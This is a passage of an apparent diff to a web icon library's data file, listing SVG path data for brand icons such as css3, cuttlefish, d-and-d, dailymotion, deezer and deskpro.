2.36-.81-18.37-1-7.46-.07-14.14-3.22-21.38-12.7-7.38-9.66-14.62-19.43-21.85-29.21-2.28-3.08-3.45-2.38-16.76-2.38-1.75 0-1.78 0-1.76 1.82.29 26.21.15 25.27 1 32.66.52 4.37 2.16 4.2 9.69 4.81 3.14.26 3.88 4.08.52 4.92-1.57.39-31.6.51-33.67-.1a2.42 2.42 0 0 1 .3-4.73c3.29-.76 6.16.81 6.66-4.44 1.3-13.66 1.17-9 1.1-79.42 0-10.82-.35-12.58-5.36-13.55-1.22-.24-3.54-.16-4.69-.55-2.88-1-2-4.84 1.77-4.85 33.67 0 46.08-1.07 56.06 4.86 7.74 4.61 12 11.48 12.51 20.4.88 14.59-6.51 22.35-15 32.59a1.46 1.46 0 0 0 0 2.22c2.6 3.25 5 6.63 7.71 9.83 27.56 33.23 24.11 30.54 41.28 33.06.89.13 1-.42 1-1.15v-11c0-1 .32-1.43 1.41-1.26a72.37 72.37 0 0 0 23.58-.3c1.08-.15 1.5.2 1.48 1.33 0 .11.88 26.69.87 26.8-.05 1.52.67 1.62 1.89 1.62h186.71Q386.51 304.6 346 234.33c2.26-.66-.4 0 6.69-1.39 2-.39 2.05-.41 3.11 1.44 7.31 12.64 77.31 134 77.37 134.06V138c-1.72.5-103.3 38.72-105.76 39.68-1.08.42-1.55.2-1.91-.88-.63-1.9-1.34-3.76-2.09-5.62-.32-.79-.09-1.13.65-1.39.1 0 95.53-35.85 103-38.77-65.42-37.57-130.56-75-196-112.6l86.82 150.39-.28.33c-9.57-.9-10.46-1.6-11.8-3.94-1-1.69-73.5-127.71-82-142.16-9.1 14.67-83.56 146.21-85.37 146.32-2.93.17-5.88.08-9.25.08q43.25-74.74 86.18-149zm51.93 129.92a37.68 37.68 0 0 0 5.54-.85c1.69-.3 2.53.2 2.6 1.92 0 .11.07 19.06-.86 20.45s-1.88 1.22-2.6-.19c-5-9.69 6.22-9.66-39.12-12-.7 0-1 .23-1 .93 0 .13 3.72 122 3.73 122.11 0 .89.52 1.2 1.21 1.51a83.92 83.92 0 0 1 8.7 4.05c7.31 4.33 11.38 10.84 12.41 19.31 1.44 11.8-2.77 35.77-32.21 37.14-2.75.13-28.26 1.08-34.14-23.25-4.66-19.26 8.26-32.7 19.89-36.4a2.45 2.45 0 0 0 2-2.66c.1-5.63 3-107.1 3.71-121.35.05-1.08-.62-1.16-1.35-1.15-32.35.52-36.75-.34-40.22 8.52-2.42 6.18-4.14 1.32-3.95.23q1.59-9 3.31-18c.4-2.11 1.43-2.61 3.43-1.86 5.59 2.11 6.72 1.7 37.25 1.92 1.73 0 1.78-.08 1.82-1.85.68-27.49.58-22.59 1-29.55a2.69 2.69 0 0 0-1.63-2.8c-5.6-2.91-8.75-7.55-8.9-13.87-.35-14.81 17.72-21.67 27.38-11.51 6.84 7.19 5.8 18.91-2.45 24.15a4.35 4.35 0 0 0-2.22 4.34c0 .59-.11-4.31 1 30.05 0 .9.43 1.12 1.24 1.11.1 0 23-.09 34.47-.37zM68.27 141.7c19.84-4.51 32.68-.56 52.49 1.69 2.76.31 3.74 1.22 3.62 4-.21 5-1.16 22.33-1.24 23.15a2.65 2.65 0 0 1-1.63 2.34c-4.06 1.7-3.61-4.45-4-7.29-3.13-22.43-73.87-32.7-74.63 25.4-.31 23.92 17 53.63 54.08 50.88 27.24-2 19-20.19 24.84-20.47a2.72 2.72 0 0 1 3 3.36c-1.83 10.85-3.42 18.95-3.45 19.15-1.54 9.17-86.7 22.09-93.35-42.06-2.71-25.85 10.44-53.37 40.27-60.15zm80 87.67h-19.49a2.57 2.57 0 0 1-2.66-1.79c2.38-3.75 5.89.92 5.86-6.14-.08-25.75.21-38 .23-40.1 0-3.42-.53-4.65-3.32-4.94-7-.72-3.11-3.37-1.11-3.38 11.84-.1 22.62-.18 30.05.72 8.77 1.07 16.71 12.63 7.93 22.62-2 2.25-4 4.42-6.14 6.73.95 1.15 6.9 8.82 17.28 19.68 2.66 2.78 6.15 3.51 9.88 3.13a2.21 2.21 0 0 0 2.23-2.12c.3-3.42.26 4.73.45-40.58 0-5.65-.34-6.58-3.23-6.83-3.95-.35-4-2.26-.69-3.37l19.09-.09c.32 0 4.49.53 1 3.38 0 .05-.16 0-.24 0-3.61.26-3.94 1-4 4.62-.27 43.93.07 40.23.41 42.82.11.84.27 2.23 5.1 2.14 2.49 0 3.86 3.37 0 3.4-10.37.08-20.74 0-31.11.07-10.67 0-13.47-6.2-24.21-20.82-1.6-2.18-8.31-2.36-8.2-.37.88 16.47 0 17.78 4 17.67 4.75-.1 4.73 3.57.83 3.55zm275-10.15c-1.21 7.13.17 10.38-5.3 10.34-61.55-.42-47.82-.22-50.72-.31a18.4 18.4 0 0 1-3.63-.73c-2.53-.6 1.48-1.23-.38-5.6-1.43-3.37-2.78-6.78-4.11-10.19a1.94 1.94 0 0 0-2-1.44 138 138 0 0 0-14.58.07 2.23 2.23 0 0 0-1.62 1.06c-1.58 3.62-3.07 7.29-4.51 11-1.27 3.23 7.86 1.32 12.19 2.16 3 .57 4.53 3.72.66 3.73H322.9c-2.92 0-3.09-3.15-.74-3.21a6.3 6.3 0 0 0 5.92-3.47c1.5-3 2.8-6 4.11-9.09 18.18-42.14 17.06-40.17 18.42-41.61a1.83 1.83 0 0 1 3 0c2.93 3.34 18.4 44.71 23.62 51.92 2 2.7 5.74 2 6.36 2 3.61.13 4-1.11 4.13-4.29.09-1.87.08 1.17.07-41.24 0-4.46-2.36-3.74-5.55-4.27-.26 0-2.56-.63-.08-3.06.21-.2-.89-.24 21.7-.15 2.32 0 5.32 2.75-1.21 3.45a2.56 2.56 0 0 0-2.66 2.83c-.07 1.63-.19 38.89.29 41.21a3.06 3.06 0 0 0 3.23 2.43c13.25.43 14.92.44 16-3.41 1.67-5.78 4.13-2.52 3.73-.19zm-104.72 64.37c-4.24 0-4.42-3.39-.61-3.41 35.91-.16 28.11.38 37.19-.65 1.68-.19 2.38.24 2.25 1.89-.26 3.39-.64 6.78-1 10.16-.25 2.16-3.2 2.61-3.4-.15-.38-5.31-2.15-4.45-15.63-5.08-1.58-.07-1.64 0-1.64 1.52V304c0 1.65 0 1.6 1.62 1.47 3.12-.25 10.31.34 15.69-1.52.47-.16 3.3-1.79 3.07 1.76 0 .21-.76 10.35-1.18 11.39-.53 1.29-1.88 1.51-2.58.32-1.17-2 0-5.08-3.71-5.3-15.42-.9-12.91-2.55-12.91 6 0 12.25-.76 16.11 3.89 16.24 16.64.48 14.4 0 16.43-5.71.84-2.37 3.5-1.77 3.18.58-.44 3.21-.85 6.43-1.23 9.64 0 .36-.16 2.4-4.66 2.39-37.16-.08-34.54-.19-35.21-.31-2.72-.51-2.2-3 .22-3.45 1.1-.19 4 .54 4.16-2.56 2.44-56.22-.07-51.34-3.91-51.33zm-.41-109.52c2.46.61 3.13 1.76 2.95 4.65-.33 5.3-.34 9-.55 9.69-.66 2.23-3.15 2.12-3.34-.27-.38-4.81-3.05-7.82-7.57-9.15-26.28-7.73-32.81 15.46-27.17 30.22 5.88 15.41 22 15.92 28.86 13.78 5.92-1.85 5.88-6.5 6.91-7.58 1.23-1.3 2.25-1.84 3.12 1.1 0 .1.57 11.89-6 12.75-1.6.21-19.38 3.69-32.68-3.39-21-11.19-16.74-35.47-6.88-45.33 14-14.06 39.91-7.06 42.32-6.47zM289.8 280.14c3.28 0 3.66 3 .16 3.43-2.61.32-5-.42-5 5.46 0 2-.19 29.05.4 41.45.11 2.29 1.15 3.52 3.44 3.65 22 1.21 14.95-1.65 18.79-6.34 1.83-2.24 2.76.84 2.76 1.08.35 13.62-4 12.39-5.19 12.4l-38.16-.19c-1.93-.23-2.06-3-.42-3.38 2-.48 4.94.4 5.13-2.8 1-15.87.57-44.65.34-47.81-.27-3.77-2.8-3.27-5.68-3.71-2.47-.38-2-3.22.34-3.22 1.45-.02 17.97-.03 23.09-.02zm-31.63-57.79c.07 4.08 2.86 3.46 6 3.58 2.61.1 2.53 3.41-.07 3.43-6.48 0-13.7 0-21.61-.06-3.84 0-3.38-3.35 0-3.37 4.49 0 3.24 1.61 3.41-45.54 0-5.08-3.27-3.54-4.72-4.23-2.58-1.23-1.36-3.09.41-3.15 1.29 0 20.19-.41 21.17.21s1.87 1.65-.42 2.86c-1 .52-3.86-.28-4.15 2.47 0 .21-.82 1.63-.07 43.8zm-36.91 274.27a2.93 2.93 0 0 0 3.26 0c17-9.79 182-103.57 197.42-112.51-.14-.43 11.26-.18-181.52-.27-1.22 0-1.57.37-1.53 1.56 0 .1 1.25 44.51 1.22 50.38a28.33 28.33 0 0 1-1.36 7.71c-.55 1.83.38-.5-13.5 32.23-.73 1.72-1 2.21-2-.08-4.19-10.34-8.28-20.72-12.57-31a23.6 23.6 0 0 1-2-10.79c.16-2.46.8-16.12 1.51-48 0-1.95 0-2-2-2h-183c2.58 1.63 178.32 102.57 196 112.76zm-90.9-188.75c0 2.4.36 2.79 2.76 3 11.54 1.17 21 3.74 25.64-7.32 6-14.46 2.66-34.41-12.48-38.84-2-.59-16-2.76-15.94 1.51.05 8.04.01 11.61.02 41.65zm105.75-15.05c0 2.13 1.07 38.68 1.09 39.13.34 9.94-25.58 5.77-25.23-2.59.08-2 1.37-37.42 1.1-39.43-14.1 7.44-14.42 40.21 6.44 48.8a17.9 17.9 0 0 0 22.39-7.07c4.91-7.76 6.84-29.47-5.43-39a2.53 2.53 0 0 1-.36.12zm-12.28-198c-9.83 0-9.73 14.75-.07 14.87s10.1-14.88.07-14.91zm-80.15 103.83c0 1.8.41 2.4 2.17 2.58 13.62 1.39 12.51-11 12.16-13.36-1.69-11.22-14.38-10.2-14.35-7.81.05 4.5-.03 13.68.02 18.59zm212.32 6.4l-6.1-15.84c-2.16 5.48-4.16 10.57-6.23 15.84z"], + "css3": [512, 512, [], "f13c", "M480 32l-64 368-223.3 80L0 400l19.6-94.8h82l-8 40.6L210 390.2l134.1-44.4 18.8-97.1H29.5l16-82h333.7l10.5-52.7H56.3l16.3-82H480z"], + "css3-alt": [384, 512, [], "f38b", "M0 32l34.9 395.8L192 480l157.1-52.2L384 32H0zm313.1 80l-4.8 47.3L193 208.6l-.3.1h111.5l-12.8 146.6-98.2 28.7-98.8-29.2-6.4-73.9h48.9l3.2 38.3 52.6 13.3 54.7-15.4 3.7-61.6-166.3-.5v-.1l-.2.1-3.6-46.3L193.1 162l6.5-2.7H76.7L70.9 112h242.2z"], + "cuttlefish": [440, 512, [], "f38c", "M344 305.5c-17.5 31.6-57.4 54.5-96 54.5-56.6 0-104-47.4-104-104s47.4-104 104-104c38.6 0 78.5 22.9 96 54.5 13.7-50.9 41.7-93.3 87-117.8C385.7 39.1 320.5 8 248 8 111 8 0 119 0 256s111 248 248 248c72.5 0 137.7-31.1 183-80.7-45.3-24.5-73.3-66.9-87-117.8z"], + "d-and-d": [576, 512, [], "f38d", "M82.5 98.9c-.6-17.2 2-33.8 12.7-48.2.3 7.4 1.2 14.5 4.2 21.6 5.9-27.5 19.7-49.3 42.3-65.5-1.9 5.9-3.5 11.8-3 17.7 8.7-7.4 18.8-17.8 44.4-22.7 14.7-2.8 29.7-2 42.1 1 38.5 9.3 61 34.3 69.7 72.3 5.3 23.1.7 45-8.3 66.4-5.2 12.4-12 24.4-20.7 35.1-2-1.9-3.9-3.8-5.8-5.6-42.8-40.8-26.8-25.2-37.4-37.4-1.1-1.2-1-2.2-.1-3.6 8.3-13.5 11.8-28.2 10-44-1.1-9.8-4.3-18.9-11.3-26.2-14.5-15.3-39.2-15-53.5.6-11.4 12.5-14.1 27.4-10.9 43.6.2 1.3.4 2.7 0 3.9-3.4 13.7-4.6 27.6-2.5 41.6.1.5.1 1.1.1 1.6 0 .3-.1.5-.2 1.1-21.8-11-36-28.3-43.2-52.2-8.3 17.8-11.1 35.5-6.6 54.1-15.6-15.2-21.3-34.3-22-55.2zm469.6 123.2c-11.6-11.6-25-20.4-40.1-26.6-12.8-5.2-26-7.9-39.9-7.1-10 .6-19.6 3.1-29 6.4-2.5.9-5.1 1.6-7.7 2.2-4.9 1.2-7.3-3.1-4.7-6.8 3.2-4.6 3.4-4.2 15-12 .6-.4 1.2-.8 2.2-1.5h-2.5c-.6 0-1.2.2-1.9.3-19.3 3.3-30.7 15.5-48.9 29.6-10.4 8.1-13.8 3.8-12-.5 1.4-3.5 3.3-6.7 5.1-10 1-1.8 2.3-3.4 3.5-5.1-.2-.2-.5-.3-.7-.5-27 18.3-46.7 42.4-57.7 73.3.3.3.7.6 1 .9.3-.6.5-1.2.9-1.7 10.4-12.1 22.8-21.8 36.6-29.8 18.2-10.6 37.5-18.3 58.7-20.2 4.3-.4 8.7-.1 13.1-.1-1.8.7-3.5.9-5.3 1.1-18.5 2.4-35.5 9-51.5 18.5-30.2 17.9-54.5 42.2-75.1 70.4-.3.4-.4.9-.7 1.3 14.5 5.3 24 17.3 36.1 25.6.2-.1.3-.2.4-.4l1.2-2.7c12.2-26.9 27-52.3 46.7-74.5 16.7-18.8 38-25.3 62.5-20 5.9 1.3 11.4 4.4 17.2 6.8 2.3-1.4 5.1-3.2 8-4.7 8.4-4.3 17.4-7 26.7-9 14.7-3.1 29.5-4.9 44.5-1.3v-.5c-.5-.4-1.2-.8-1.7-1.4zM316.7 397.6c-39.4-33-22.8-19.5-42.7-35.6-.8.9 0-.2-1.9 3-11.2 19.1-25.5 35.3-44 47.6-10.3 6.8-21.5 11.8-34.1 11.8-21.6 0-38.2-9.5-49.4-27.8-12-19.5-13.3-40.7-8.2-62.6 7.8-33.8 30.1-55.2 38.6-64.3-18.7-6.2-33 1.7-46.4 13.9.8-13.9 4.3-26.2 11.8-37.3-24.3 10.6-45.9 25-64.8 43.9-.3-5.8 5.4-43.7 5.6-44.7.3-2.7-.6-5.3-3-7.4-24.2 24.7-44.5 51.8-56.1 84.6 7.4-5.9 14.9-11.4 23.6-16.2-8.3 22.3-19.6 52.8-7.8 101.1 4.6 19 11.9 36.8 24.1 52.3 2.9 3.7 6.3 6.9 9.5 10.3.2-.2.4-.3.6-.5-1.4-7-2.2-14.1-1.5-21.9 2.2 3.2 3.9 6 5.9 8.6 12.6 16 28.7 27.4 47.2 35.6 25 11.3 51.1 13.3 77.9 8.6 54.9-9.7 90.7-48.6 116-98.8 1-1.8.6-2.9-.9-4.2zm172-46.4c-9.5-3.1-22.2-4.2-28.7-2.9 9.9 4 14.1 6.6 18.8 12 12.6 14.4 10.4 34.7-5.4 45.6-11.7 8.1-24.9 10.5-38.9 9.1-1.2-.1-2.3-.4-3-.6 2.8-3.7 6-7 8.1-10.8 9.4-16.8 5.4-42.1-8.7-56.1-2.1-2.1-4.6-3.9-7-5.9-.3 1.3-.1 2.1.1 2.8 4.2 16.6-8.1 32.4-24.8 31.8-7.6-.3-13.9-3.8-19.6-8.5-19.5-16.1-39.1-32.1-58.5-48.3-5.9-4.9-12.5-8.1-20.1-8.7-4.6-.4-9.3-.6-13.9-.9-5.9-.4-8.8-2.8-10.4-8.4-.9-3.4-1.5-6.8-2.2-10.2-1.5-8.1-6.2-13-14.3-14.2-4.4-.7-8.9-1-13.3-1.5-13-1.4-19.8-7.4-22.6-20.3-5 11-1.6 22.4 7.3 29.9 4.5 3.8 9.3 7.3 13.8 11.2 4.6 3.8 7.4 8.7 7.9 14.8.4 4.7.8 9.5 1.8 14.1 2.2 10.6 8.9 18.4 17 25.1 16.5 13.7 33 27.3 49.5 41.1 17.9 15 13.9 32.8 13 56-.9 22.9 12.2 42.9 33.5 51.2 1 .4 2 .6 3.6 1.1-15.7-18.2-10.1-44.1.7-52.3.3 2.2.4 4.3.9 6.4 9.4 44.1 45.4 64.2 85 56.9 16-2.9 30.6-8.9 42.9-19.8 2-1.8 3.7-4.1 5.9-6.5-19.3 4.6-35.8.1-50.9-10.6.7-.3 1.3-.3 1.9-.3 21.3 1.8 40.6-3.4 57-17.4 19.5-16.6 26.6-42.9 17.4-66-8.3-20.1-23.6-32.3-43.8-38.9zM99.4 179.3c-5.3-9.2-13.2-15.6-22.1-21.3 13.7-.5 26.6.2 39.6 3.7-7-12.2-8.5-24.7-5-38.7 5.3 11.9 13.7 20.1 23.6 26.8 19.7 13.2 35.7 19.6 46.7 30.2 3.4 3.3 6.3 7.1 9.6 10.9-.8-2.1-1.4-4.1-2.2-6-5-10.6-13-18.6-22.6-25-1.8-1.2-2.8-2.5-3.4-4.5-3.3-12.5-3-25.1-.7-37.6 1-5.5 2.8-10.9 4.5-16.3.8-2.4 2.3-4.6 4-6.6.6 6.9 0 25.5 19.6 46 10.8 11.3 22.4 21.9 33.9 32.7 9 8.5 18.3 16.7 25.5 26.8 1.1 1.6 2.2 3.3 3.8 4.7-5-13-14.2-24.1-24.2-33.8-9.6-9.3-19.4-18.4-29.2-27.4-3.3-3-4.6-6.7-5.1-10.9-1.2-10.4 0-20.6 4.3-30.2.5-1 1.1-2 1.9-3.3.5 4.2.6 7.9 1.4 11.6 4.8 23.1 20.4 36.3 49.3 63.5 10 9.4 19.3 19.2 25.6 31.6 4.8 9.3 7.3 19 5.7 29.6-.1.6.5 1.7 1.1 2 6.2 2.6 10 6.9 9.7 14.3 7.7-2.6 12.5-8 16.4-14.5 4.2 20.2-9.1 50.3-27.2 58.7.4-4.5 5-23.4-16.5-27.7-6.8-1.3-12.8-1.3-22.9-2.1 4.7-9 10.4-20.6.5-22.4-24.9-4.6-52.8 1.9-57.8 4.6 8.2.4 16.3 1 23.5 3.3-2 6.5-4 12.7-5.8 18.9-1.9 6.5 2.1 14.6 9.3 9.6 1.2-.9 2.3-1.9 3.3-2.7-3.1 17.9-2.9 15.9-2.8 18.3.3 10.2 9.5 7.8 15.7 7.3-2.5 11.8-29.5 27.3-45.4 25.8 7-4.7 12.7-10.3 15.9-17.9-6.5.8-12.9 1.6-19.2 2.4l-.3-.9c4.7-3.4 8-7.8 10.2-13.1 8.7-21.1-3.6-38-25-39.9-9.1-.8-17.8.8-25.9 5.5 6.2-15.6 17.2-26.6 32.6-34.5-15.2-4.3-8.9-2.7-24.6-6.3 14.6-9.3 30.2-13.2 46.5-14.6-5.2-3.2-48.1-3.6-70.2 20.9 7.9 1.4 15.5 2.8 23.2 4.2-23.8 7-44 19.7-62.4 35.6 1.1-4.8 2.7-9.5 3.3-14.3.6-4.5.8-9.2.1-13.6-1.5-9.4-8.9-15.1-19.7-16.3-7.9-.9-15.6.1-23.3 1.3-.9.1-1.7.3-2.9 0 15.8-14.8 36-21.7 53.1-33.5 6-4.5 6.8-8.2 3-14.9zm128.4 26.8c3.3 16 12.6 25.5 23.8 24.3-4.6-11.3-12.1-19.5-23.8-24.3z"], + "d-and-d-beyond": [640, 512, [], "f6ca", "M313.8 241.5c13.8 0 21-10.1 24.8-17.9-1-1.1-5-4.2-7.4-6.6-2.4 4.3-8.2 10.7-13.9 10.7-10.2 0-15.4-14.7-3.2-26.6-.5-.2-4.3-1.8-8 2.4 0-3 1-5.1 2.1-6.6-3.5 1.3-9.8 5.6-11.4 7.9.2-5.8 1.6-7.5.6-9l-.2-.2s-8.5 5.6-9.3 14.7c0 0 1.1-1.6 2.1-1.9.6-.3 1.3 0 .6 1.9-.2.6-5.8 15.7 5.1 26-.6-1.6-1.9-7.6 2.4-1.9-.3.1 5.8 7.1 15.7 7.1zm52.4-21.1c0-4-4.9-4.4-5.6-4.5 2 3.9.9 7.5.2 9 2.5-.4 5.4-1.6 5.4-4.5zm10.3 5.2c0-6.4-6.2-11.4-13.5-10.7 8 1.3 5.6 13.8-5 11.4 3.7-2.6 3.2-9.9-1.3-12.5 1.4 4.2-3 8.2-7.4 4.6-2.4-1.9-8-6.6-10.6-8.6-2.4-2.1-5.5-1-6.6-1.8-1.3-1.1-.5-3.8-2.2-5-1.6-.8-3-.3-4.8-1-1.6-.6-2.7-1.9-2.6-3.5-2.5 4.4 3.4 6.3 4.5 8.5 1 1.9-.8 4.8 4 8.5 14.8 11.6 9.1 8 10.4 18.1.6 4.3 4.2 6.7 6.4 7.4-2.1-1.9-2.9-6.4 0-9.3 0 13.9 19.2 13.3 23.1 6.4-2.4 1.1-7-.2-9-1.9 7.7 1 14.2-4.1 14.6-10.6zm-39.4-18.4c2 .8 1.6.7 6.4 4.5 10.2-24.5 21.7-15.7 22-15.5 2.2-1.9 9.8-3.8 13.8-2.7-2.4-2.7-7.5-6.2-13.3-6.2-4.7 0-7.4 2.2-8 1.3-.8-1.4 3.2-3.4 3.2-3.4-5.4.2-9.6 6.7-11.2 5.9-1.1-.5 1.4-3.7 1.4-3.7-5.1 2.9-9.3 9.1-10.2 13 4.6-5.8 13.8-9.8 19.7-9-10.5.5-19.5 9.7-23.8 15.8zm242.5 51.9c-20.7 0-40 1.3-50.3 2.1l7.4 8.2v77.2l-7.4 8.2c10.4.8 30.9 2.1 51.6 2.1 42.1 0 59.1-20.7 59.1-48.9 0-29.3-23.2-48.9-60.4-48.9zm-15.1 75.6v-53.3c30.1-3.3 46.8 3.8 46.8 26.3 0 25.6-21.4 30.2-46.8 27zM301.6 181c-1-3.4-.2-6.9 1.1-9.4 1 3 2.6 6.4 7.5 9-.5-2.4-.2-5.6.5-8-1.4-5.4 2.1-9.9 6.4-9.9 6.9 0 8.5 8.8 4.7 14.4 2.1 3.2 5.5 5.6 7.7 7.8 3.2-3.7 5.5-9.5 5.5-13.8 0-8.2-5.5-15.9-16.7-16.5-20-.9-20.2 16.6-20 18.9.5 5.2 3.4 7.8 3.3 7.5zm-.4 6c-.5 1.8-7 3.7-10.2 6.9 4.8-1 7-.2 7.8 1.8.5 1.4-.2 3.4-.5 5.6 1.6-1.8 7-5.5 11-6.2-1-.3-3.4-.8-4.3-.8 2.9-3.4 9.3-4.5 12.8-3.7-2.2-.2-6.7 1.1-8.5 2.6 1.6.3 3 .6 4.3 1.1-2.1.8-4.8 3.4-5.8 6.1 7-5 13.1 5.2 7 8.2.8.2 2.7 0 3.5-.5-.3 1.1-1.9 3-3 3.4 2.9 0 7-1.9 8.2-4.6 0 0-1.8.6-2.6-.2s.3-4.3.3-4.3c-2.3 2.9-3.4-1.3-1.3-4.2-1-.3-3.5-.6-4.6-.5 3.2-1.1 10.4-1.8 11.2-.3.6 1.1-1 3.4-1 3.4 4-.5 8.3 1.1 6.7 5.1 2.9-1.4 5.5-5.9 4.8-10.4-.3 1-1.6 2.4-2.9 2.7.2-1.4-1-2.2-1.9-2.6 1.7-9.6-14.6-14.2-14.1-23.9-1 1.3-1.8 5-.8 7.1 2.7 3.2 8.7 6.7 10.1 12.2-2.6-6.4-15.1-11.4-14.6-20.2-1.6 1.6-2.6 7.8-1.3 11 2.4 1.4 4.5 3.8 4.8 6.1-2.2-5.1-11.4-6.1-13.9-12.2-.6 2.2-.3 5 1 6.7 0 0-2.2-.8-7-.6 1.7.6 5.1 3.5 4.8 5.2zm25.9 7.4c-2.7 0-3.5-2.1-4.2-4.3 3.3 1.3 4.2 4.3 4.2 4.3zm38.9 3.7l-1-.6c-1.1-1-2.9-1.4-4.7-1.4-2.9 0-5.8 1.3-7.5 3.4-.8.8-1.4 1.8-2.1 2.6v15.7c3.5 2.6 7.1-2.9 3-7.2 1.5.3 4.6 2.7 5.1 3.2 0 0 2.6-.5 5-.5 2.1 0 3.9.3 5.6 1.1V196c-1.1.5-2.2 1-2.7 1.4zM79.9 305.9c17.2-4.6 16.2-18 16.2-19.9 0-20.6-24.1-25-37-25H3l8.3 8.6v29.5H0l11.4 14.6V346L3 354.6c61.7 0 73.8 1.5 86.4-5.9 6.7-4 9.9-9.8 9.9-17.6 0-5.1 2.6-18.8-19.4-25.2zm-41.3-27.5c20 0 29.6-.8 29.6 9.1v3c0 12.1-19 8.8-29.6 8.8zm0 59.2V315c12.2 0 32.7-2.3 32.7 8.8v4.5h.2c0 11.2-12.5 9.3-32.9 9.3zm101.2-19.3l23.1.2v-.2l14.1-21.2h-37.2v-14.9h52.4l-14.1-21v-.2l-73.5.2 7.4 8.2v77.1l-7.4 8.2h81.2l14.1-21.2-60.1.2zm214.7-60.1c-73.9 0-77.5 99.3-.3 99.3 77.9 0 74.1-99.3.3-99.3zm-.3 77.5c-37.4 0-36.9-55.3.2-55.3 36.8.1 38.8 55.3-.2 55.3zm-91.3-8.3l44.1-66.2h-41.7l6.1 7.2-20.5 37.2h-.3l-21-37.2 6.4-7.2h-44.9l44.1 65.8.2 19.4-7.7 8.2h42.6l-7.2-8.2zm-28.4-151.3c1.6 1.3 2.9 2.4 2.9 6.6v38.8c0 4.2-.8 5.3-2.7 6.4-.1.1-7.5 4.5-7.9 4.6h35.1c10 0 17.4-1.5 26-8.6-.6-5 .2-9.5.8-12 0-.2-1.8 1.4-2.7 3.5 0-5.7 1.6-15.4 9.6-20.5-.1 0-3.7-.8-9 1.1 2-3.1 10-7.9 10.4-7.9-8.2-26-38-22.9-32.2-22.9-30.9 0-32.6.3-39.9-4 .1.8.5 8.2 9.6 14.9zm21.5 5.5c4.6 0 23.1-3.3 23.1 17.3 0 20.7-18.4 17.3-23.1 17.3zm228.9 79.6l7 8.3V312h-.3c-5.4-14.4-42.3-41.5-45.2-50.9h-31.6l7.4 8.5v76.9l-7.2 8.3h39l-7.4-8.2v-47.4h.3c3.7 10.6 44.5 42.9 48.5 55.6h21.3v-85.2l7.4-8.3zm-106.7-96.1c-32.2 0-32.8.2-39.9-4 .1.7.5 8.3 9.6 14.9 3.1 2 2.9 4.3 2.9 9.5 1.8-1.1 3.8-2.2 6.1-3-1.1 1.1-2.7 2.7-3.5 4.5 1-1.1 7.5-5.1 14.6-3.5-1.6.3-4 1.1-6.1 2.9.1 0 2.1-1.1 7.5-.3v-4.3c4.7 0 23.1-3.4 23.1 17.3 0 20.5-18.5 17.3-19.7 17.3 5.7 4.4 5.8 12 2.2 16.3h.3c33.4 0 36.7-27.3 36.7-34 0-3.8-1.1-32-33.8-33.6z"], + "dailymotion": [448, 512, [], "e052", "M298.93,267a48.4,48.4,0,0,0-24.36-6.21q-19.83,0-33.44,13.27t-13.61,33.42q0,21.16,13.28,34.6t33.43,13.44q20.5,0,34.11-13.78T322,307.47A47.13,47.13,0,0,0,315.9,284,44.13,44.13,0,0,0,298.93,267ZM0,32V480H448V32ZM374.71,405.26h-53.1V381.37h-.67q-15.79,26.2-55.78,26.2-27.56,0-48.89-13.1a88.29,88.29,0,0,1-32.94-35.77q-11.6-22.68-11.59-50.89,0-27.56,11.76-50.22a89.9,89.9,0,0,1,32.93-35.78q21.18-13.09,47.72-13.1a80.87,80.87,0,0,1,29.74,5.21q13.28,5.21,25,17V153l55.79-12.09Z"], + "dashcube": [448, 512, [], "f210", "M326.6 104H110.4c-51.1 0-91.2 43.3-91.2 93.5V427c0 50.5 40.1 85 91.2 85h227.2c51.1 0 91.2-34.5 91.2-85V0L326.6 104zM153.9 416.5c-17.7 0-32.4-15.1-32.4-32.8V240.8c0-17.7 14.7-32.5 32.4-32.5h140.7c17.7 0 32 14.8 32 32.5v123.5l51.1 52.3H153.9z"], + "deezer": [576, 512, [], "e077", "M451.46,244.71H576V172H451.46Zm0-173.89v72.67H576V70.82Zm0,275.06H576V273.2H451.46ZM0,447.09H124.54V374.42H0Zm150.47,0H275V374.42H150.47Zm150.52,0H425.53V374.42H301Zm150.47,0H576V374.42H451.46ZM301,345.88H425.53V273.2H301Zm-150.52,0H275V273.2H150.47Zm0-101.17H275V172H150.47Z"], + "delicious": [448, 512, [], "f1a5", "M446.5 68c-.4-1.5-.9-3-1.4-4.5-.9-2.5-2-4.8-3.3-7.1-1.4-2.4-3-4.8-4.7-6.9-2.1-2.5-4.4-4.8-6.9-6.8-1.1-.9-2.2-1.7-3.3-2.5-1.3-.9-2.6-1.7-4-2.4-1.8-1-3.6-1.8-5.5-2.5-1.7-.7-3.5-1.3-5.4-1.7-3.8-1-7.9-1.5-12-1.5H48C21.5 32 0 53.5 0 80v352c0 4.1.5 8.2 1.5 12 2 7.7 5.8 14.6 11 20.3 1 1.1 2.1 2.2 3.3 3.3 5.7 5.2 12.6 9 20.3 11 3.8 1 7.9 1.5 12 1.5h352c26.5 0 48-21.5 48-48V80c-.1-4.1-.6-8.2-1.6-12zM416 432c0 8.8-7.2 16-16 16H224V256H32V80c0-8.8 7.2-16 16-16h176v192h192z"], + "deploydog": [512, 512, [], "f38e", "M382.2 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.6 0-33.2 16.4-33.2 32.6zM188.5 136h51.7v239.6h-51.7v-20.7c-19.8 24.8-52.8 24.1-73.8 14.7-26.2-11.7-44.3-38.1-44.3-71.8 0-29.8 14.8-57.9 43.3-70.8 20.2-9.1 52.7-10.6 74.8 12.9V136zm-64.7 161.8c0 18.2 13.6 33.5 33.2 33.5 19.8 0 33.2-16.4 33.2-32.9 0-17.1-13.7-33.2-33.2-33.2-19.7 0-33.2 16.4-33.2 32.6zM448 96c17.5 0 32 14.4 32 32v256c0 17.5-14.4 32-32 32H64c-17.5 0-32-14.4-32-32V128c0-17.5 14.4-32 32-32h384m0-32H64C28.8 64 0 92.8 0 128v256c0 35.2 28.8 64 64 64h384c35.2 0 64-28.8 64-64V128c0-35.2-28.8-64-64-64z"], + "deskpro": [480, 512, [], "f38f", "M205.9 512l31.1-38.4c12.3-.2 25.6-1.4 36.5-6.6 38.9-18.6 38.4-61.9 38.3-63.8-.1-5-.8-4.4-28.9-37.4H362c-.2 50.1-7.3 68.5-10.2 75.7-9.4 23.7-43.9 